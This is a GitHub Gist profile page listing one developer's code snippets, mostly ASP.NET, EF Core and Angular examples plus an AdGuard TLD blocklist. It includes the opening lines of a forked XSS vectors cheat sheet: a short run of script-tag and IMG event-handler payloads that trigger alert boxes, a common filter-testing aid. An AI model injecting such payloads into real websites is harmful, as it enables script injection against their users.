Skip to content

Instantly share code, notes, and snippets.

View abhishekluv's full-sized avatar
🎯
Actively seeking opportunities

(Abby) Abhishek Luv abhishekluv

🎯
Actively seeking opportunities
View GitHub Profile
@abhishekluv
abhishekluv / EmployeesController.cs
Created October 27, 2023 04:03
EF Core Loading Related Data
using AdvancedEFCore.Models;
using AdvancedEFCore.ViewModels;
using Microsoft.AspNetCore.Mvc;
using Microsoft.AspNetCore.Mvc.Rendering;
using Microsoft.EntityFrameworkCore;
using Microsoft.Extensions.Caching.Distributed;
using System.Text.Json;
using System.Text.Json.Serialization;
namespace AdvancedEFCore.Controllers
@abhishekluv
abhishekluv / xss_vectors.txt
Created April 12, 2023 16:14 — forked from kurobeats/xss_vectors.txt
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@abhishekluv
abhishekluv / TLDsForAdGuard.txt
Created February 17, 2023 11:10
TLDsForAdGuard
||aaa^
||aarp^
||abarth^
||abb^
||abbott^
||abbvie^
||abc^
||able^
||abogado^
||abudhabi^
@abhishekluv
abhishekluv / TLDGenerator.cs
Last active September 26, 2023 11:22
TLD Regex Generator for PiHole and AdGuard
using System;
using System.Collections.Generic;
using System.IO;
using System.Threading.Tasks;
using System.Net.Http;
internal class Program
{
private static async Task Main(string[] args)
{
using System;
using System.Collections.Generic;
using System.Linq;
namespace ConsoleApp1
{
internal class Program
{
private static List<Product> list = new List<Product>();
@abhishekluv
abhishekluv / angular-demo2.ts
Created February 10, 2020 12:08
Angular Source Code Demo 2
import { Injectable } from '@angular/core';
import { ActivatedRouteSnapshot, RouterStateSnapshot, UrlTree, Router } from '@angular/router';
import { Observable } from 'rxjs';
import { CanActivate } from '@angular/router';
@Injectable({
providedIn: 'root'
})
export class AuthGuard implements CanActivate {
@abhishekluv
abhishekluv / angular-demo1.ts
Created February 10, 2020 12:07
Angular Source Code Demo 1
import { Injectable } from '@angular/core';
import { HttpClient, HttpHeaders } from '@angular/common/http';
@Injectable({
providedIn: 'root'
})
export class AccountService {
constructor(private http: HttpClient) { }
@abhishekluv
abhishekluv / aspnet-core-demo2.cs
Created February 10, 2020 12:04
ASP.NET Core Source Code Demo 2
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Builder;
using Microsoft.AspNetCore.Hosting;
using Microsoft.AspNetCore.HttpsPolicy;
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Configuration;
using Microsoft.Extensions.DependencyInjection;
@abhishekluv
abhishekluv / aspnet-core-demo1.cs
Created February 10, 2020 12:02
ASP.NET Core Source Code Demo 1
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Builder;
using Microsoft.AspNetCore.Hosting;
using Microsoft.AspNetCore.HttpsPolicy;
using Microsoft.Extensions.Configuration;
using Microsoft.Extensions.DependencyInjection;
using Microsoft.Extensions.Hosting;
@abhishekluv
abhishekluv / aspnet-mvc-demo2.cs
Created February 10, 2020 11:54
ASP.NET Source Code Demo 2
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Data.Entity; // DbContext
using MVCDay8.Initializers;
using System.Data.Entity.ModelConfiguration.Conventions;
namespace MVCDay8.Models
{